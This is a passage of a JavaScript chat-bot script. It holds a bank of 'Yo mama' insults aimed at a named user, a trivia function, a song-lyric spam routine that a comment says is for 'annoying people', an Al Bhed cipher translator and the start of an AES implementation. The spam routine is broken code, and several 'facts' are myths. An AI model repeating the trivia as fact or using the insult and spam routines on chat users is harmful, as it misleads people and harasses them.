  830.                         else if( randomNumber == 39) sendPC(argu+",Yo mama`s so fat, when she fell over she rocked herself asleep trying to get back up.",argu2);
  831.                         else if( randomNumber == 40) sendPC(argu+",Yo mama`s so fat, when she puts her hand on her hip, she looks like a gallon of milk.",argu2);
  832.                         else if( randomNumber == 41) sendPC(argu+",Yo mama`s so fat, they had to install speed bumps at the all-u-can-eat buffet.",argu2);
  833.                         else if( randomNumber == 42) sendPC(argu+",Yo mama`s so fat, when she steps on a scale, it says, ``One at a time, please.``",argu2);
  834.                         else if( randomNumber == 43) sendPC(argu+",Yo mama`s so fat, when she steps on a scale, it says, ``To be continued....``",argu2);
  835.                         else if( randomNumber == 44) sendPC(argu+",Yo mama`s so fat, when she steps on a scale, it says, ``Please step out of the car.``",argu2);
  836.                         else if( randomNumber == 45) sendPC(argu+",Yo mama`s so fat, when she wears a red dress, kids yell ``Kool-Aid!``",argu2);
  837.                         else if( randomNumber == 46) sendPC(argu+",Yo mama`s so fat, when she wears a yellow raincoat, people call her ``Taxi!``",argu2);
  838.                         else if( randomNumber == 47) sendPC(argu+",Yo mama`s so fat, when she went to the beach, Greenpeace tried to drag her back into the ocean.",argu2);
  839.                         else if( randomNumber == 48) sendPC(argu+",Yo mama`s so fat, when she walks across the room, she`s gotta make two trips.",argu2);
  840.                         else if( randomNumber == 49) sendPC(argu+",Yo mama`s so fat, when she goes to the beach, no one else gets a tan.",argu2);
  841.                         else if( randomNumber == 50) sendPC(argu+",Yo mama`s so fat, her belly button`s got an echo.",argu2);
  842.                         else if( randomNumber == 51) sendPC(argu+",Yo mama`s so fat, she uses Route 66 for a Slip`n`Slide.",argu2);
  843.                         else if( randomNumber == 52) sendPC(argu+",Yo mama`s so fat, they had to change ``One size fits all`` to ``One size fits most.``",argu2);
  844.                         else if( randomNumber == 53) sendPC(argu+",Yo mama`s so fat, you have to take three steps to see all of her.",argu2);
  845.                         else if( randomNumber == 54) sendPC(argu+",Yo mama`s so fat, she made Weight Watchers go blind.",argu2);
  846.                         else if( randomNumber == 55) sendPC(argu+",Yo mama`s so stupid, she spent twenty minutes looking at an orange juice box because it said ``concentrate.``",argu2);
  847.                         else if( randomNumber == 56) sendPC(argu+",Yo mama`s so stupid, she put lipstick on her forehead because she wanted to make up her mind.",argu2);
  848.                         else if( randomNumber == 57) sendPC(argu+",Yo mama`s so stupid, they had to burn the school down to get her out of the 3rd grade.",argu2);
  849.                         else if( randomNumber == 58) sendPC(argu+",Yo mama`s so stupid, she sat in a tree house because she wanted to be a branch manager.",argu2);
  850.                         else if( randomNumber == 59) sendPC(argu+",Yo mama`s so stupid, she stole a police car because she thought ``911`` meant Porsche.",argu2);
  851.                         else if( randomNumber == 60) sendPC(argu+",Yo mama`s so stupid, she sat on the TV & watched the couch.",argu2);
  852.                         else if( randomNumber == 61) sendPC(argu+",Yo mama`s so stupid, when she was taking you to the airport and a sign said ``Airport Left,`` she turned around and went home.",argu2);
  853.                         else if( randomNumber == 62) sendPC(argu+",Yo mama`s so stupid, she put a ruler by her pillow to see how long she slept.",argu2);
  854.                         else if( randomNumber == 63) sendPC(argu+",Yo mama`s so stupid, she was locked in a grocery store and starved.",argu2);
  855.                         else if( randomNumber == 64) sendPC(argu+",Yo mama`s so stupid, your house burned down because she couldn`t find the ``11`` button to call 911.",argu2);
  856.                         else if( randomNumber == 65) sendPC(argu+",Yo mama`s so stupid, she brought a spoon to the Super Bowl.",argu2);
  857.                         else if( randomNumber == 66) sendPC(argu+",Yo mama`s so stupid, she brought a towel to her carpool.",argu2);
  858.                         else if( randomNumber == 67) sendPC(argu+",Yo mama`s so stupid, she thought a quarterback was a refund.",argu2);
  859.                         else if( randomNumber == 68) sendPC(argu+",Yo mama`s so stupid, she thought a lawsuit was something you wear to court.",argu2);
  860.                         else if( randomNumber == 69) sendPC(argu+",Yo mama`s so stupid, she took the Pepsi challenge and chose Jif.",argu2);
  861.                         else if( randomNumber == 70) sendPC(argu+",Yo mama`s so stupid, she stole free bread.",argu2);
  862.                         else if( randomNumber == 71) sendPC(argu+",Yo mama`s so stupid, she got tangled up in a cordless phone.",argu2);
  863.                         else if( randomNumber == 72) sendPC(argu+",Yo mama`s so stupid, it takes her 2 hours to watch 60 Minutes.",argu2);
  864.                         else if( randomNumber == 73) sendPC(argu+",Yo mama`s so stupid, if she spoke her mind, she`d be speechless.",argu2);
  865.                         else if( randomNumber == 74) sendPC(argu+",Yo mama`s so stupid, she jumped out the window and went up.",argu2);
  866.                         else if( randomNumber == 75) sendPC(argu+",Yo mama`s so stupid, she failed a blood test.",argu2);
  867.                         else if( randomNumber == 76) sendPC(argu+",Yo mama`s so stupid, she thought hamburger helper came with another person.",argu2);
  868.                         else if( randomNumber == 77) sendPC(argu+",Yo mama`s so stupid, if you gave her a penny for her thoughts, you`d get change back.",argu2);
  869.                         else if( randomNumber == 78) sendPC(argu+",Yo mama`s so stupid, she got hit by a parked car.",argu2);
  870.                         else if( randomNumber == 79) sendPC(argu+",Yo mama`s so stupid, she sold the car for gas money.",argu2);
  871.                         else if( randomNumber == 80) sendPC(argu+",Yo mama`s so stupid, when your dad said, ``It`s chilly outside,`` she ran into the kitchen to get a bowl.",argu2);
  872.                         else if( randomNumber == 81) sendPC(argu+",Yo mama`s so stupid, she thinks Taco Bell is the Mexican phone company.",argu2);
  873.                         else if( randomNumber == 82) sendPC(argu+",Yo mama`s so stupid, she got fired from the M&M`s factory for throwing away all the W`s.",argu2);
  874.                         else if( randomNumber == 83) sendPC(argu+",Yo mama`s so stupid, she heard that 90% of all accidents occur around the home, so she moved.",argu2);
  875.                         else if( randomNumber == 84) sendPC(argu+",Yo mama`s so ugly, when she joined an ugly contest, they said, ``Sorry, no professionals.``",argu2);
  876.                         else if( randomNumber == 85) sendPC(argu+",Yo mama`s so ugly, her face is closed on weekends.",argu2);
  877.                         else if( randomNumber == 86) sendPC(argu+",Yo mama`s so ugly, when she gets up, the sun goes down.",argu2);
  878.                         else if( randomNumber == 87) sendPC(argu+",Yo mama`s so ugly, she has to sneak up on bath water.",argu2);
  879.                         else if( randomNumber == 88) sendPC(argu+",Yo mama`s so ugly, her picture is on the inside of a Roach Motel.",argu2);
  880.                         else if( randomNumber == 89) sendPC(argu+",Yo mama`s so ugly, she`d make a train take a dirt road.",argu2);
  881.                         else if( randomNumber == 90) sendPC(argu+",Yo mama`s so ugly, instead of having her own 900 number, she has her own 911 number.",argu2);
  882.                         else if( randomNumber == 91) sendPC(argu+",Yo mama`s so ugly, when I took her to a haunted house, she came out with a paycheck.",argu2);
  883.                         else if( randomNumber == 92) sendPC(argu+",Yo mama`s so ugly, when I took her to the zoo, the guy at the door said, ``Thanks for bringing her back.``",argu2);
  884.                         else if( randomNumber == 93) sendPC(argu+",Yo mama`s so ugly, people go as her for Halloween.",argu2);
  885.                         else if( randomNumber == 94) sendPC(argu+",Yo mama`s so ugly, she has to trick or treat over the phone.",argu2);
  886.                         else if( randomNumber == 95) sendPC(argu+",Yo mama`s so ugly, the government moved Halloween to her birthday.",argu2);
  887.                         else if( randomNumber == 96) sendPC(argu+",Yo mama`s so ugly, she makes onions cry.",argu2);
  888.                         else if( randomNumber == 97) sendPC(argu+",Yo mama`s so ugly, she scares away blind kids.",argu2);
  889.                         else if( randomNumber == 98) sendPC(argu+",Yo mama`s so ugly, she threw a boomerang and it wouldn`t come back.",argu2);
  890.                         else if( randomNumber == 99) sendPC(argu+",Yo mama`s so ugly, when she was born, the doctor slapped her mama.",argu2);
  891.                         else if( randomNumber == 100) sendPC(argu+",Yo mama`s so ugly, the doctor`s still slapping her.",argu2);
  892.                         else if( randomNumber == 101) sendPC(argu+",Yo mama`s so ugly, when she leaned over to hear, ``snap, crackle, pop,`` all she heard was ``Aargh! Get us out of here!``",argu2);
  893.                         else if( randomNumber == 102) sendPC(argu+",Yo mama`s so ugly, the psychiatrist makes her lie face down.",argu2);
  894.                         else if( randomNumber == 103) sendPC(argu+",Yo mama`s so ugly, they didn`t give her a costume when she tried out for Star Wars.",argu2);
  895.                         else if( randomNumber == 104) sendPC(argu+",Yo mama`s so ugly, when she passes by a bathroom all the toilets flush.",argu2);
  896.                         else if( randomNumber == 105) sendPC(argu+",Yo mama`s so ugly, when she walks in the kitchen, the rats jump on the table and start screaming.",argu2);
  897.                         else if( randomNumber == 106) sendPC(argu+",Yo mama`s so ugly, when she walks into a bank, they turn off the cameras.",argu2);
  898.                         else if( randomNumber == 107) sendPC(argu+",Yo mama`s so ugly, her parents fed her with a slingshot.",argu2);
  899.                         else if( randomNumber == 108) sendPC(argu+",Yo mama`s so old, her birth certificate expired.",argu2);
  900.                         else if( randomNumber == 109) sendPC(argu+",Yo mama`s so old, I told her to act her age and she died.",argu2);
  901.                         else if( randomNumber == 110) sendPC(argu+",Yo mama`s so old, her social security number is 23.",argu2);
  902.                         else if( randomNumber == 111) sendPC(argu+",Yo mama`s so old, when she was in school there was no history class.",argu2);
  903.                         else if( randomNumber == 112) sendPC(argu+",Yo mama`s so old, Moses is in her high school yearbook.",argu2);
  904.                         else if( randomNumber == 113) sendPC(argu+",Yo mama`s so old, she knew Burger King while he was still a prince.",argu2);
  905.                         else if( randomNumber == 114) sendPC(argu+",Yo mama`s so poor, when I ring the doorbell she says ``Ding!``",argu2);
  906.                         else if( randomNumber == 115) sendPC(argu+",Yo mama`s so poor, when I saw her kicking a can down the street and asked her what she was doing, she said, ``Moving.``",argu2);
  907.                         else if( randomNumber == 116) sendPC(argu+",Yo mama`s so poor, she has to eat a large pizza outside.",argu2);
  908.                         else if( randomNumber == 117) sendPC(argu+",Yo mama`s so poor, she has to go outside to change her mind.",argu2);
  909.                         else if( randomNumber == 118) sendPC(argu+",Yo mama`s so poor, she dropped a kleenex and got wall-to-wall carpeting.",argu2);
  910.                         else if( randomNumber == 119) sendPC(argu+",Yo mama`s so poor, she went to McDonald`s and put a milkshake on layaway.",argu2);
  911.                         else if( randomNumber == 120) sendPC(argu+",Yo mama`s so poor, your TV has 2 channels: ``on`` and ``off.``",argu2);
  912.                         else if( randomNumber == 121) sendPC(argu+",Yo mama`s so poor, they put her picture on the food stamp.",argu2);
  913.                         else if( randomNumber == 122) sendPC(argu+",Yo mama`s so poor, she can`t even afford to pay attention.",argu2);
  914.                         else if( randomNumber == 123) sendPC(argu+",Yo mama`s so short, she poses for trophies.",argu2);
  915.                         else if( randomNumber == 124) sendPC(argu+",Yo mama`s so short, she can do backflips under the bed.",argu2);
  916.                         else if( randomNumber == 125) sendPC(argu+",Yo mama`s so short, she needs a ladder to pick up a dime.",argu2);
  917.                         else if( randomNumber == 126) sendPC(argu+",Yo mama`s so short, you can see her feet on her driver`s license picture.",argu2);
  918.                         else if( randomNumber == 127) sendPC(argu+",Yo mama`s so skinny, she turned sideways and disappeared.",argu2);
  919.                         else if( randomNumber == 128) sendPC(argu+",Yo mama`s so skinny, she got her ear pierced and died.",argu2);
  920.                         else if( randomNumber == 129) sendPC(argu+",Yo mama`s so skinny, she has to wear a belt with spandex.",argu2);
  921.                         else if( randomNumber == 130) sendPC(argu+",Yo mama smells so bad, she made Speed Stick slow down.",argu2);
  922.                         else if( randomNumber == 131) sendPC(argu+",Yo mama smells so bad, she made Right Guard turn left.",argu2);
  923.                         else if( randomNumber == 132) sendPC(argu+",Yo mama smells so bad, Secret told on her.",argu2);
  924.                         else if( randomNumber == 133) sendPC(argu+",Yo mama smells so bad, Sure is confused.",argu2);
  925.                         else if( randomNumber == 134) sendPC(argu+",Yo mama`s so bald, her hair looks like stitches.",argu2);
  926.                         else if( randomNumber == 135) sendPC(argu+",Yo mama`s so bald, she uses rice for curlers.",argu2);
  927.                         else if( randomNumber == 136) sendPC(argu+",Yo mama`s so bald, when she showers she gets brainwashed.",argu2);
  928.                         else if( randomNumber == 137) sendPC(argu+",Yo mama`s so bald, I can see what`s on her mind.",argu2);
  929.                         else if( randomNumber == 138) sendPC(argu+",Yo mama`s so bald, a wig doesn`t help.",argu2);
  930.                         else if( randomNumber == 139) sendPC(argu+",Yo mama`s got a wooden leg with a kickstand.",argu2);
  931.                         else if( randomNumber == 140) sendPC(argu+",Yo mama`s got a wooden leg with branches.",argu2);
  932.                         else if( randomNumber == 141) sendPC(argu+",Yo mama`s got a wooden leg with a real foot.",argu2);
  933.                         else if( randomNumber == 142) sendPC(argu+",Yo mama`s got two wooden legsYo mama`s got  and one is backward.",argu2);
  934.                         else if( randomNumber == 143) sendPC(argu+",Yo mama`s got a glass leg full of Kool-aid.",argu2);
  935.                         else if( randomNumber == 144) sendPC(argu+",Yo mama`s got an afro with a chin strap.",argu2);
  936.                         else if( randomNumber == 145) sendPC(argu+",Yo mama`s got a $4 weave and don`t know when to leave.",argu2);
  937.                         else if( randomNumber == 146) sendPC(argu+",Yo mama`s got a bald head with a part and sideburns.",argu2);
  938.                         else if( randomNumber == 147) sendPC(argu+",Yo mama`s got a metal afro with rusty sideburns.",argu2);
  939.                         else if( randomNumber == 148) sendPC(argu+",Yo mama`s got a wooden afro with an ``x`` carved in the back.",argu2);
  940.                         else if( randomNumber == 149) sendPC(argu+",Yo mama`s got green hair and thinks she`s a tree.",argu2);
  941.                         else if( randomNumber == 150) sendPC(argu+",Yo mama`s got a wooden head.",argu2);
  942.                         else if( randomNumber == 151) sendPC(argu+",Yo mama`s got a leather wig with suede sideburns.",argu2);
  943.                         else if( randomNumber == 152) sendPC(argu+",Yo mama`s got more weave than a dog in traffic.",argu2);
  944.                         else if( randomNumber == 153) sendPC(argu+",Yo mama`s got snakeskin teeth.",argu2);
  945.                         else if( randomNumber == 154) sendPC(argu+",Yo mama`s got so many gaps in her teeth it looks like piano keys.",argu2);
  946.                         else if( randomNumber == 155) sendPC(argu+",Yo mama`s got teeth so rotten they look like dice.",argu2);
  947.                         else if( randomNumber == 156) sendPC(argu+",Yo mama`s got teeth so yellow when she smiles she slows down traffic.",argu2);
  948.                         else if( randomNumber == 157) sendPC(argu+",Yo mama`s got breath so bad when she yawns her teeth duck.",argu2);
  949.                         else if( randomNumber == 158) sendPC(argu+",Yo mama`s got breath so bad people on the phone hang up.",argu2);
  950.                         else if( randomNumber == 159) sendPC(argu+",Yo mama`s got a glass eye with a goldfish in it.",argu2);
  951.                         else if( randomNumber == 160) sendPC(argu+",Yo mama`s got so many rolls of fat she has to screw on her pants.",argu2);
  952.                         else if( randomNumber == 161) sendPC(argu+",Yo mama`s got three teeth, one in her mouth and two in her pocket.",argu2);
  953.                         else if( randomNumber == 162) sendPC(argu+",Yo mama`s got 11 fingers, all on the same hand.",argu2);
  954.                         else if( randomNumber == 163) sendPC(argu+",Yo mama`s got 4 eyes and 2 pairs of sunglasses.",argu2);
  955.                         else if( randomNumber == 164) sendPC(argu+",Yo mama`s got no ears and is trying on sunglasses.",argu2);
  956.                         else if( randomNumber == 165) sendPC(argu+",Yo mama`s got a forehead so big you can show slides on it.",argu2);
  957.                         else if( randomNumber == 166) sendPC(argu+",Yo mama`s got feet so big, her sneakers need license plates.",argu2);
  958.                         else if( randomNumber == 167) sendPC(argu+",Yo mama`s got a mouth so big, she talks in surround sound.",argu2);
  959.                         else if( randomNumber == 168) sendPC(argu+",Yo mama`s got a head so big, it shows up on radar.",argu2);
  960.                         else if( randomNumber == 169) sendPC(argu+",Yo mama`s got a head so big, she don`t have dreams, she has movies.",argu2);
  961.                         else if( randomNumber == 170) sendPC(argu+",Yo mama`s got a head so big, she has to step into her shirt.",argu2);
  962.                         else if( randomNumber == 171) sendPC(argu+",Yo mama`s got such an ugly car, someone broke in just to steal The Club.",argu2);
  963.                         else if( randomNumber == 172) sendPC(argu+",Yo mama`s got one toe and one knee and her name is ``Tony.``",argu2);
  964.                         else if( randomNumber == 173) sendPC(argu+",Yo mama`s got one leg and her name is ``Eileen.``",argu2);
  965.                 }
  966.                 function funfacts() {
  967.                 var randomNumber = Math.floor( Math.random() * 20 ) + 1;
  968.                 if( randomNumber == 1 ) sendMessage(botresponename+":  If you yelled for 8 years, 7 months and 6 days, you would have produced enough sound energy to heat one cup of coffee.");
  969.                 else if( randomNumber == 2 ) sendMessage(botresponename+":  The strongest muscle in proportion to its size in the human body is the tongue.");
  970.                 else if( randomNumber == 3 ) sendMessage(botresponename+":  Every time you lick a stamp, you're consuming 1/10 of a calorie.");
  971.                 else if( randomNumber == 4 ) sendMessage(botresponename+":  The human heart creates enough pressure when it pumps out to the body to squirt blood 30 feet.");
  972.                 else if( randomNumber == 5 ) sendMessage(botresponename+":  Banging your head against a wall uses 150 calories an hour.");
  973.                 else if( randomNumber == 6 ) sendMessage(botresponename+":  The average person falls asleep in seven minutes.");
  974.                 else if( randomNumber == 7 ) sendMessage(botresponename+":  Your stomach has to produce a new layer of mucus every two weeks otherwise it will digest itself");
  975.                 else if( randomNumber == 8 ) sendMessage(botresponename+":  Humans are the only primates that don't have pigment in the palms of their hands.");
  976.                 else if( randomNumber == 9 ) sendMessage(botresponename+":  Thirty-five percent of the people who use personal ads for dating are already married.");
  977.                 else if( randomNumber == 10 ) sendMessage(botresponename+":  It's possible to lead a cow upstairs...but not downstairs");
  978.                 else if( randomNumber == 11 ) sendMessage(botresponename+":  Dogs have four toes on their hind feet, and five on their front feet.");
  979.                 else if( randomNumber == 12 ) sendMessage(botresponename+":  Butterflies taste with their feet.");
  980.                 else if( randomNumber == 13 ) sendMessage(botresponename+":  A pregnant goldfish is called a twit.");
  981.                 else if( randomNumber == 14 ) sendMessage(botresponename+":  A cockroach will live nine days without it's head, before it starves to death.");
  982.                 else if( randomNumber == 15 ) sendMessage(botresponename+":  Elephants are the only mamals that can't jump.");
  983.                 else if( randomNumber == 16 ) sendMessage(botresponename+":  A duck's quack doesn't echo, and no one knows why.");
  984.                 else if( randomNumber == 17 ) sendMessage(botresponename+":  Snails can sleep for 3 years without eating");
  985.                 else if( randomNumber == 18 ) sendMessage(botresponename+":  Porcupines float in water.");
  986.                 else if( randomNumber == 19 ) sendMessage(botresponename+":  A giraffe can clean its ears with its 21-inch tongue!");
  987.                 else if( randomNumber == 20 ) sendMessage(botresponename+":  A Saudi Arabian woman can get a divorce if her husband doesn't give her coffee.");
  988.                 }
  989.                 function spamCoord() //I should of used var insult= [...] but I'm too lazy, by Twin, for some annoying people.
  990.                     {
  991.                         var pope = -6;
  992.                         var randomNumber = setInterval( function() { pope + 1 },1500);
  993.                         if( randomNumber == 1) sendMessage("You know you love me, I know you care");
  994.                         else if( randomNumber == 2) sendMessage("Just shout whenever, and Ill be there");
  995.                         else if( randomNumber == 3) sendMessage("You are my love, you are my heart");
  996.                         else if( randomNumber == 4) sendMessage("And we will never, ever, ever be apart");
  997.                         else if( randomNumber == 5) sendMessage("Are we an item? Girl, quit playin");
  998.                         else if( randomNumber == 6) sendMessage("Were just friends, what are you sayin?");
  999.                         else if( randomNumber == 7) sendMessage("Said theres another, and looked right in my eyes");
  1000.                         else if( randomNumber == 8) sendMessage("My first love broke my heart for the first time");
  1001.                         else if( randomNumber == 9) sendMessage("And I was like baby, baby, baby, oh");
  1002.                         else if( randomNumber == 10) sendMessage("Like baby, baby, baby, no");
  1003.                         else if( randomNumber == 11) sendMessage("Like baby, baby, baby, oh");
  1004.                         else if( randomNumber == 12) sendMessage("I thought youd always be mine, mine");
  1005.                         else if( randomNumber == 13) sendMessage("Baby, baby, baby, oh");
  1006.                         else if( randomNumber == 14) sendMessage("Like baby, baby, baby, no");
  1007.                         else if( randomNumber == 15) sendMessage("Like baby, baby, baby, oh");
  1008.                         else if( randomNumber == 16) sendMessage("I thought youd always be mine, mine");
  1009.                         else if( randomNumber == 17) sendMessage("For you, I would have done whatever");
  1010.                         else if( randomNumber == 18) sendMessage("And I just cant believe were here together");
  1011.                         else if( randomNumber == 19) sendMessage("And I wanna play it cool, but Im losin you");
  1012.                         else if( randomNumber == 20) sendMessage("Ill buy you anything, Ill buy you any ring");
  1013.                         else if( randomNumber == 21) sendMessage("And Im in pieces, baby fix me");
  1014.                         else if( randomNumber == 22) sendMessage("And just shake me til you wake me from this bad dream");
  1015.                         else if( randomNumber == 23) sendMessage("Im goin down, down, down, down");
  1016.                         else if( randomNumber == 24) sendMessage("And I just cant believe my first love wont be around");
  1017.                         else if( randomNumber == 25) sendMessage("And Im like baby, baby, baby, oh");
  1018.                         else if( randomNumber == 26) sendMessage("Like baby, baby, baby, no");
  1019.                         else if( randomNumber == 27) sendMessage("Like baby, baby, baby, oh");
  1020.                         else if( randomNumber == 28) sendMessage("I thought youd always be mine, mine");
  1021.                         else if( randomNumber == 29) sendMessage("Baby, baby, baby, oh");
  1022.                         else if( randomNumber == 30) sendMessage("Like baby, baby, baby, no");
  1023.                         else if( randomNumber == 31) sendMessage("Like baby, baby, baby, oh");
  1024.                         else if( randomNumber == 32) sendMessage("I thought youd always be mine, mine");
  1025.                         else if( randomNumber == 33) sendMessage("When I was 13, I had my first love");
  1026.                         else if( randomNumber == 34) sendMessage("There was nobody that compared to my baby");
  1027.                         else if( randomNumber == 35) sendMessage("And nobody came between us who could ever come above");
  1028.                         else if( randomNumber == 36) sendMessage("She had me going crazy, oh I was starstruck");
  1029.                         else if( randomNumber == 37) sendMessage("She woke me up daily, dont need no Starbucks");
  1030.                         else if( randomNumber == 38) sendMessage("She made my heart pound");
  1031.                         else if( randomNumber == 39) sendMessage("I skip a beat when I see her in the street");
  1032.                         else if( randomNumber == 40) sendMessage("And at school on the playground");
  1033.                         else if( randomNumber == 41) sendMessage("But I really wanna see her on a weekend");
  1034.                         else if( randomNumber == 42) sendMessage("She know she got me dazin cause she was so amazin");
  1035.                         else if( randomNumber == 43) sendMessage("And now my heart is breakin but I just keep on sayin");
  1036.                         else if( randomNumber == 44) sendMessage("Baby, baby, baby, oh");
  1037.                         else if( randomNumber == 45) sendMessage("Like baby, baby, baby, no");
  1038.                         else if( randomNumber == 46) sendMessage("Like baby, baby, baby, oh");
  1039.                         else if( randomNumber == 47) sendMessage("I thought youd always be mine, mine");
  1040.                         else if( randomNumber == 48) sendMessage("Baby, baby, baby, oh");
  1041.                         else if( randomNumber == 49) sendMessage("Like baby, baby, baby, no");
  1042.                         else if( randomNumber == 50) sendMessage("Like baby, baby, baby, oh");
  1043.                         else if( randomNumber == 51) sendMessage("I thought youd always be mine, mine");
  1044.                 }
  1045. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1046.   var validator = "abcdefghjiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  1047.   var vowels = "aeiouyAEIOUY";
  1048.  
  1049.  eamap = new Array();
  1050.   eamap["a"] = "o";  eamap["b"] = "x";  eamap["c"] = "p";  eamap["d"] = "k";
  1051.   eamap["e"] = "y";  eamap["f"] = "b";  eamap["g"] = "r";  eamap["h"] = "w";
  1052.   eamap["i"] = "e";  eamap["j"] = "m";  eamap["k"] = "n";  eamap["l"] = "d";
  1053.   eamap["m"] = "t";  eamap["n"] = "f";  eamap["o"] = "a";  eamap["p"] = "h";
  1054.   eamap["q"] = "v";  eamap["r"] = "l";  eamap["s"] = "z";  eamap["t"] = "s";
  1055.   eamap["u"] = "i";  eamap["v"] = "j";  eamap["w"] = "q";  eamap["x"] = "g";
  1056.   eamap["y"] = "u";  eamap["z"] = "c";  
  1057.   eamap["A"] = "O";  eamap["B"] = "X";  eamap["C"] = "P";  eamap["D"] = "K";
  1058.   eamap["E"] = "Y";  eamap["F"] = "B";  eamap["G"] = "R";  eamap["H"] = "W";
  1059.   eamap["I"] = "E";  eamap["J"] = "M";  eamap["K"] = "N";  eamap["L"] = "D";
  1060.   eamap["M"] = "T";  eamap["N"] = "F";  eamap["O"] = "A";  eamap["P"] = "H";
  1061.   eamap["Q"] = "V";  eamap["R"] = "L";  eamap["S"] = "Z";  eamap["T"] = "S";
  1062.   eamap["U"] = "I";  eamap["V"] = "F";  eamap["W"] = "Q";  eamap["X"] = "G";
  1063.   eamap["Y"] = "U";  eamap["Z"] = "C";
  1064.  
  1065.   aemap = new Array();
  1066.   aemap["o"] = "a";  aemap["x"] = "b";  aemap["p"] = "c";  aemap["k"] = "d";
  1067.   aemap["y"] = "e";  aemap["b"] = "f";  aemap["r"] = "g";  aemap["w"] = "h";
  1068.   aemap["e"] = "i";  aemap["m"] = "j";  aemap["n"] = "k";  aemap["d"] = "l";
  1069.   aemap["t"] = "m";  aemap["f"] = "n";  aemap["a"] = "o";  aemap["h"] = "p";
  1070.   aemap["v"] = "q";  aemap["l"] = "r";  aemap["z"] = "s";  aemap["s"] = "t";
  1071.   aemap["i"] = "u";  aemap["j"] = "v";  aemap["q"] = "w";  aemap["g"] = "x";
  1072.   aemap["u"] = "y";  aemap["c"] = "z";
  1073.   aemap["O"] = "A";  aemap["X"] = "B";  aemap["P"] = "C";  aemap["K"] = "D";
  1074.   aemap["Y"] = "E";  aemap["B"] = "F";  aemap["R"] = "G";  aemap["W"] = "H";
  1075.   aemap["E"] = "I";  aemap["M"] = "J";  aemap["N"] = "K";  aemap["D"] = "L";
  1076.   aemap["T"] = "M";  aemap["F"] = "N";  aemap["A"] = "O";  aemap["H"] = "P";
  1077.   aemap["V"] = "Q";  aemap["L"] = "R";  aemap["Z"] = "S";  aemap["S"] = "T";
  1078.   aemap["I"] = "U";  aemap["F"] = "V";  aemap["Q"] = "W";  aemap["G"] = "X";
  1079.   aemap["U"] = "Y";  aemap["C"] = "Z";
  1080.  
  1081. function transme() {
  1082.   if (rheFugiSwitch == 1) { // english to al bhed
  1083.     builder = ""; toggler=0;
  1084.  
  1085.     for (var i=0; i < RHETEXT.length; i++) {
  1086.       if (RHETEXT.charAt(i)=="[") {toggler=1;};
  1087.       if (RHETEXT.charAt(i)=="]") {toggler=0;};
  1088.  
  1089.       if (toggler==1) {builder=builder+RHETEXT.charAt(i);}
  1090.       else {
  1091.         if (validator.indexOf(RHETEXT.charAt(i))==-1)
  1092.           {builder=builder+RHETEXT.charAt(i);}
  1093.         else
  1094.           {builder=builder+eamap[RHETEXT.charAt(i)];};
  1095.       };
  1096.     };
  1097.  
  1098.     builder2 = ""; toggler=0; prev=0;
  1099.  
  1100.     for (var i=0; i < RHETEXT.length; i++) {
  1101.       if (RHETEXT.charAt(i)=="[") {toggler=1;};
  1102.       if (RHETEXT.charAt(i)=="]") {toggler=0;};
  1103.  
  1104.       if (toggler==1) {builder2=builder2+RHETEXT.charAt(i);}
  1105.       else {
  1106.         if (validator.indexOf(RHETEXT.charAt(i))==-1)
  1107.           {builder2=builder2+RHETEXT.charAt(i);
  1108.            prev=0;}
  1109.       };      
  1110.     };
  1111.     RHETEXT=builder;
  1112.  
  1113.   } else { //al bhed to english
  1114.     builder = ""; toggler=0;
  1115.  
  1116.     for (var i=0; i < RHETEXT.length; i++) {
  1117.       if (RHETEXT.charAt(i)=="[") {toggler=1;};
  1118.       if (RHETEXT.charAt(i)=="]") {toggler=0;};
  1119.  
  1120.       if (toggler==1) {builder=builder+RHETEXT.charAt(i);}
  1121.       else {
  1122.         if (validator.indexOf(RHETEXT.charAt(i))==-1)
  1123.           {builder=builder+RHETEXT.charAt(i);}
  1124.         else
  1125.           {builder=builder+aemap[RHETEXT.charAt(i)];};
  1126.       };
  1127.     };
  1128.     RHETEXT=builder;
  1129.   };
  1130.   return false;  
  1131. };
  1132.  
  1133. /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
  1134. /*  AES implementation in JavaScript (c) Chris Veness 2005-2012                                   */
  1135. /*   - see http://csrc.nist.gov/publications/PubsFIPS.html#197                                    */
  1136. /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
  1137.  
  1138. var Aes = {};  // Aes namespace
  1139.  
  1140. /**
  1141.  * AES Cipher function: encrypt 'input' state with Rijndael algorithm
  1142.  *   applies Nr rounds (10/12/14) using key schedule w for 'add round key' stage
  1143.  *
  1144.  * @param {Number[]} input 16-byte (128-bit) input state array
  1145.  * @param {Number[][]} w   Key schedule as 2D byte-array (Nr+1 x Nb bytes)
  1146.  * @returns {Number[]}     Encrypted output state array
  1147.  */
  1148. Aes.cipher = function(input, w) {    // main Cipher function [§5.1]
  1149.   var Nb = 4;               // block size (in words): no of columns in state (fixed at 4 for AES)
  1150.   var Nr = w.length/Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
  1151.  
  1152.   var state = [[],[],[],[]];  // initialise 4xNb byte-array 'state' with input [§3.4]
  1153.   for (var i=0; i<4*Nb; i++) state[i%4][Math.floor(i/4)] = input[i];
  1154.  
  1155.   state = Aes.addRoundKey(state, w, 0, Nb);
  1156.  
  1157.   for (var round=1; round<Nr; round++) {
  1158.     state = Aes.subBytes(state, Nb);
  1159.     state = Aes.shiftRows(state, Nb);
  1160.     state = Aes.mixColumns(state, Nb);
  1161.     state = Aes.addRoundKey(state, w, round, Nb);
  1162.   }
  1163.  
  1164.   state = Aes.subBytes(state, Nb);
  1165.   state = Aes.shiftRows(state, Nb);
  1166.   state = Aes.addRoundKey(state, w, Nr, Nb);
  1167.  
  1168.   var output = new Array(4*Nb);  // convert state to 1-d array before returning [§3.4]
  1169.   for (var i=0; i<4*Nb; i++) output[i] = state[i%4][Math.floor(i/4)];
  1170.   return output;
  1171. }
  1172.  
  1173. /**
  1174.  * Perform Key Expansion to generate a Key Schedule
  1175.  *
  1176.  * @param {Number[]} key Key as 16/24/32-byte array
  1177.  * @returns {Number[][]} Expanded key schedule as 2D byte-array (Nr+1 x Nb bytes)
  1178.  */
  1179. Aes.keyExpansion = function(key) {  // generate Key Schedule (byte-array Nr+1 x Nb) from Key [§5.2]
